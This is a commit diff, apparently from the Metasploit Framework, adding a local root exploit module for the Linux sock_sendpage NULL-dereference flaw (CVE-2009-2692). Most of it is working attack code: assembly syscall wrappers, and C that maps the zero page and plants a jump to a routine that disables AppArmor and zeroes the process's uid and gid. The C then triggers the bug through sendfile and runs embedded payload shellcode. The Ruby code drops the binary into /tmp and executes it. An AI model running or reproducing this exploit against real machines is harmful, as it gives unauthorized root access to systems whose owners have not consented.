Add an exploit for sock_sendpage

Unfortunately, adds a dep on bionic for runtime compilation.

Gets ring0, sets the (res)uid to 0 and jumps to the payload.  Still some
payload issues because linux stagers don't mprotect(2) the buffer they
read(2) into.  Single payloads work fine, though.

Also cleans up and improves local exploits' ability to compile C.

[SEERM #3038]
unstable
James Lee 2012-07-15 20:29:48 -06:00
parent 8d9186748f
commit 7091d1c65b
4 changed files with 382 additions and 259 deletions

View File

@ -35,20 +35,14 @@ module Exploit::Local::Linux
int ftruncate(int fd, off_t length);
int socket(int, int, int);
int sendfile(int in_fd, int out_fd, void *, int count);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
void *__mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
void *
mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{
return __mmap2(addr, length, prot, flags, fd, (offset >> 12));
}
#ifdef DEBUGGING
void sigtrap();
#else
#define sigtrap()
#endif
void *__get_tls();
EOC
metasm_exe.parse <<-EOS
@ -76,60 +70,124 @@ module Exploit::Local::Linux
ret
open:
mov eax, 5 ; sys_open
mov ecx,[esp+8] ; mode
mov ebx,[esp+4] ; flags
mov edx,[esp+12] ; mode
mov ecx,[esp+8] ; flags
mov ebx,[esp+4] ; file name
int 0x80
cmp eax, -129
jb 1f
neg eax
push eax
call __set_errno
add esp, 4
or eax, -1
1:
ret
ftruncate:
mov eax, 92 ; sys_ftruncate
mov ecx,[esp+8] ; file descriptor
mov ebx,[esp+4] ; size
push ebx
push ecx
mov eax, 93 ; sys_ftruncate
mov ecx,[esp+16] ; file descriptor
mov ebx,[esp+12] ; size
int 0x80
cmp eax, -129
jb 1f
neg eax
push eax
call __set_errno
add esp, 4
or eax, -1
1:
pop ecx
pop ebx
ret
socket:
push ebx
push ecx
mov eax, 102 ; sys_socketcall
mov ecx,[esp] ; args
mov ebx,0x1 ;
mov ebx, 1
mov ecx, esp
add ecx, 12
int 0x80
cmp eax, -129
jb 1f
neg eax
push eax
call __set_errno
add esp, 4
or eax, -1
1:
pop ecx
pop ebx
ret
sendfile:
mov eax, 187 ; sys_sendfile
mov esi,[esp+16] ; size
mov edx,[esp+12] ; offset
mov ecx,[esp+8] ; out_fd
mov ebx,[esp+4] ; in_fd
int 0x80
push ebx
push ecx
push edx
push esi
mov eax, 187 ; sys_sendfile
mov esi,[esp+32] ; size
mov edx,[esp+28] ; offset
mov ecx,[esp+24] ; out_fd
mov ebx,[esp+20] ; in_fd
int 0x80
cmp eax, -129
jb 1f
neg eax
push eax
call __set_errno
add esp, 4
or eax, -1
1:
pop esi
pop edx
pop ecx
pop ebx
ret
unlink:
mov eax, 10 ; sys_unlink
mov ebx,[esp+4] ; filename
int 0x80
mov eax, 10 ; sys_unlink
mov ebx,[esp+4] ; filename
int 0x80
ret
; stolen from bionic
__mmap2:
push ebx
push ecx
push edx
push esi
push edi
push ebp
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov eax, 90
mov ebx, [esp+28]
mov ecx, [esp+32]
mov edx, [esp+36]
mov esi, [esp+40]
mov edi, [esp+44]
mov ebp, [esp+48]
int 0x80
mov eax, 192
mov ebx, [esp+28]
mov ecx, [esp+32]
mov edx, [esp+36]
mov esi, [esp+40]
mov edi, [esp+44]
mov ebp, [esp+48]
int 0x80
cmp eax, -129
jb 1f
neg eax
push eax
call __set_errno
add esp, 4
or eax, -1
1:
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
; Thread Local Storage, used by errno
__get_tls:
mov eax, gs:[0]
ret
EOS

View File

@ -1,3 +1,4 @@
require 'msf/core/exploit/local/compile_c'
module Msf
module Exploit::Local::LinuxKernel

View File

@ -5,139 +5,11 @@ module Exploit::Local::Unix
include Exploit::Local::CompileC
def unix_socket_h(metasm_exe)
# Most of this is copied from
# external/source/meterpreter/source/bionic/libc/kernel/common/linux/socket.h
cparser.parse <<-EOC
#define AF_UNSPEC 0
#define AF_UNIX 1
#define AF_LOCAL 1
#define AF_INET 2
#define AF_AX25 3
#define AF_IPX 4
#define AF_APPLETALK 5
#define AF_NETROM 6
#define AF_BRIDGE 7
#define AF_ATMPVC 8
#define AF_X25 9
#define AF_INET6 10
#define AF_ROSE 11
#define AF_DECnet 12
#define AF_NETBEUI 13
#define AF_SECURITY 14
#define AF_KEY 15
#define AF_NETLINK 16
#define AF_ROUTE AF_NETLINK
#define AF_PACKET 17
#define AF_ASH 18
#define AF_ECONET 19
#define AF_ATMSVC 20
#define AF_SNA 22
#define AF_IRDA 23
#define AF_PPPOX 24
#define AF_WANPIPE 25
#define AF_LLC 26
#define AF_TIPC 30
#define AF_BLUETOOTH 31
#define AF_MAX 32
#define PF_UNSPEC AF_UNSPEC
#define PF_UNIX AF_UNIX
#define PF_LOCAL AF_LOCAL
#define PF_INET AF_INET
#define PF_AX25 AF_AX25
#define PF_IPX AF_IPX
#define PF_APPLETALK AF_APPLETALK
#define PF_NETROM AF_NETROM
#define PF_BRIDGE AF_BRIDGE
#define PF_ATMPVC AF_ATMPVC
#define PF_X25 AF_X25
#define PF_INET6 AF_INET6
#define PF_ROSE AF_ROSE
#define PF_DECnet AF_DECnet
#define PF_NETBEUI AF_NETBEUI
#define PF_SECURITY AF_SECURITY
#define PF_KEY AF_KEY
#define PF_NETLINK AF_NETLINK
#define PF_ROUTE AF_ROUTE
#define PF_PACKET AF_PACKET
#define PF_ASH AF_ASH
#define PF_ECONET AF_ECONET
#define PF_ATMSVC AF_ATMSVC
#define PF_SNA AF_SNA
#define PF_IRDA AF_IRDA
#define PF_PPPOX AF_PPPOX
#define PF_WANPIPE AF_WANPIPE
#define PF_LLC AF_LLC
#define PF_TIPC AF_TIPC
#define PF_BLUETOOTH AF_BLUETOOTH
#define PF_MAX AF_MAX
#define SOMAXCONN 128
#define MSG_OOB 1
#define MSG_PEEK 2
#define MSG_DONTROUTE 4
#define MSG_TRYHARD 4
#define MSG_CTRUNC 8
#define MSG_PROBE 0x10
#define MSG_TRUNC 0x20
#define MSG_DONTWAIT 0x40
#define MSG_EOR 0x80
#define MSG_WAITALL 0x100
#define MSG_FIN 0x200
#define MSG_SYN 0x400
#define MSG_CONFIRM 0x800
#define MSG_RST 0x1000
#define MSG_ERRQUEUE 0x2000
#define MSG_NOSIGNAL 0x4000
#define MSG_MORE 0x8000
#define MSG_EOF MSG_FIN
#define MSG_CMSG_COMPAT 0
#define SOL_IP 0
#define SOL_TCP 6
#define SOL_UDP 17
#define SOL_IPV6 41
#define SOL_ICMPV6 58
#define SOL_SCTP 132
#define SOL_RAW 255
#define SOL_IPX 256
#define SOL_AX25 257
#define SOL_ATALK 258
#define SOL_NETROM 259
#define SOL_ROSE 260
#define SOL_DECNET 261
#define SOL_X25 262
#define SOL_PACKET 263
#define SOL_ATM 264
#define SOL_AAL 265
#define SOL_IRDA 266
#define SOL_NETBEUI 267
#define SOL_LLC 268
#define SOL_DCCP 269
#define SOL_NETLINK 270
#define SOL_TIPC 271
#define IPX_TYPE 1
#define PF_IUCV 32
#define IPPROTO_SCTP 132
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define SOCK_SEQPACKET 5
struct iovec {
char *iov_base;
int iov_len;
};
int socket(int, int, int);
EOC
[
"external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
].each do |fname|
cparser.parse(File.read(fname), fname)
end
end

View File

@ -14,9 +14,10 @@ require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
load 'lib/msf/core/exploit/local/unix.rb'
load 'lib/msf/core/exploit/local/linux.rb'
load 'lib/msf/core/exploit/local/linux_kernel.rb'
#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
@ -38,18 +39,24 @@ class Metasploit4 < Msf::Exploit::Local
'License' => MSF_LICENSE,
'Author' =>
[
'spender', # wunderbar_emporium.tgz
'egypt' # metasploit module
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
],
#'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
@ -57,96 +64,274 @@ class Metasploit4 < Msf::Exploit::Local
def exploit
sc = Metasm::ELF.new(@cpu)
cparser.parse "#define DEBUGGING"
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
push eax
;push eax
call exit
|
# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]
cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)
[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end
print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)
case target.arch.first
when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = <<-EOS
#define NULL ((void*)0)
#define PAGE_SIZE (4096)
#define DOMAINS_STOP -1
const int domains[] = {
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};
main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif
int main() {
int in_fd, out_fd;
char *addr;
int d = 0;
#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};
/*
addr = mmap(
NULL, 0x1000,
PROT_EXEC | PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
sigtrap();
if (addr != NULL) {
#{c_puts("Failed, trying again without PROT_EXEC hoping they don't support NX")}
addr = mmap(
NULL, 0x1000,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
sigtrap();
if (addr == NULL) {
#{c_puts("Mapped NULL! ZOMG! Let's fighting love!")}
} else {
#{c_puts("Failed to map 0 page")}
}
}
int *apparmor_enabled;
addr[0] = '\\xff';
addr[1] = '\\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)&sigtrap;
*/
int got_ring0 = 0;
unsigned long uid, gid;
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
#{c_puts("Next domain")}
out_fd = socket(domains[d], SOCK_DGRAM, 0);
sigtrap();
if (in_fd > 0) {
break;
}
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
if (out_fd < 0) {
#{c_puts("No domains.")}
exit(1);
}
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
printf("Unable to obtain symbol listing!\n");
return 0;
}
}
in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700);
unlink("/tmp/woot");
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
static void
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return;
}
int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
}
const char *shellcode =
"";
int shellcode_size = 0;
int main() {
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();
uid = getuid(), gid = getgid();
mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
printf("Mapped zero page!\n");
} else {
exit(1);
}
// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
for (i = 0; i < 16; i++) {
printf("\\\\x%02x", (unsigned char)mapped[i]);
}
printf("\n");
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
printf("Got domain[%d]\n", d);
break;
}
if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1);
}
}
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
printf("Opened temp file: %d\n", in_fd);
unlink(template);
printf("Calling ftruncate\n");
ftruncate(in_fd, 4096);
printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096);
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
printf("UID: %d GID: %d\n", getuid(), getgid());
func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
printf("Calling shellcode: 0x%p\n", func);
//sigtrap();
func();
return got_ring0;
}
^
main.gsub!(/shellcode =/) do
# split the payload into 16-byte chunks and dump it out as a
# hex-escaped C string
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")
ftruncate(in_fd, 0);
#{c_puts("About to trigger")}
sendfile(in_fd, out_fd, NULL, PAGE_SIZE);
return 42;
}
EOS
cparser.parse(main)
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
@ -154,24 +339,31 @@ class Metasploit4 < Msf::Exploit::Local
sc.assemble
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end
#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write elf
}
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
p cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")
end
def c_puts(str)
%Q|write(1, "#{str}\\n", #{str.length + 1});|
end
end